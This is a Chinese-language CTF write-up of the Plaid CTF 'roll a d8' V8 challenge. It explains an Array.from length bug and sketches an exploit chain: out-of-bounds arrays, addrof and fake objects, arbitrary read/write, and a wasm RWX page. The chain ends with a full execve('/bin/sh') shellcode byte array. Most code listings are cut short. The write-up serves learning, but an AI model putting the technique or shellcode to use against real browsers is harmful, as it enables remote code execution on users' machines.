浏览器漏洞学习--V8--Plaid CTF roll a d8
前言
继续学习浏览器漏洞的相关知识,加油!!!下周争取把angr的东西总结一下,搞搞课题吧つ﹏⊂。如果有有缘的人读到这篇文章,而且恰好你研究的方向是AEG相关,可以带带我这个菜鸡吗/(ㄒoㄒ)/~~。邮箱:sofr@foxmail.com
之前文章:
关键字: CTF
pwn
browser
v8
Plaid CTF roll a d8
1 | git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599 |
题目信息
这次这个题目就是给了poc写exp,也是一个真实的漏洞。可以看下官网,也有提。更新后版本
所以应该兴奋一点啊,搓搓手,这可是真正的realword。开森!!!
和之前的题目一样,先看diff,官网给出的diff是这样的:
1 | diff --git a/src/builtins/builtins-array-gen.cc b/src/builtins/builtins-array-gen.cc |
后面还附带了poc,很贴心。其实这个漏洞的细节,我还是有一点不太懂,但是有了这个poc,可以说难度降低了很多。
首先还是看下漏洞是如何来的
1 | void GenerateSetLength(TNode<Context> context, TNode<Object> array, TNode<Number> length) { |
这里面我们可以看到如果length_smi大于等于old_length,那么久会将fast_array的length赋值为length_smi。理一下上下文的逻辑,就是在迭代的时候,将每次迭代的结果存进数组,同时将数组的长度扩大。如果此时length_smi小于old_length则不会改变数组的长度。
但是如果在迭代的最后一轮,我们将数组的大小缩小,此时length_smi会随着迭代次数增长,但是,old_length被改小,此时数组的大小会被改大,但是没有做内存扩大的操作。所以,就造成了oob。在一顿gc后,完全可以做到溢出至其他数组。
调试poc后发现果然如此,数组的大小是0x2020但是FixedArray中长度却是0
思路
其实在搞清楚这个思路后,我们的思路可以和数字经济的exp很像,都是数组越界,这里只不过是多一个gc的过程,使得目标数组重新分配。
先构造数组越界:
1 | var oobArray = [1.1]; |
此时,oobArray和B数组中的float数组和object数组就很近了。这时候构建任意对象读和任意对象构造:
1 | oobArray[7] = 0x1;//使得float数组的长度很大,浮点值中1很大的,(*^_^*) |
之后也是很常规,造一个任意地址读写:
1 | var float_map = oobArray[4]; |
最后在触发getshell的时候,我们不用free_hook了,改用wasm,学习一下。
wasm简单来说就是构建了一个可读可写可执行的内存区域,然后放shellcode,也就很自然了
1 | function wasm_func() { |
最后向这个内存写入shellcode:
1 | var shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5]; |
最后getshell,比之前的getshell的界面整洁多了:
写在最后
如有错误欢迎指正:sofr@foxmail.com
之前文章: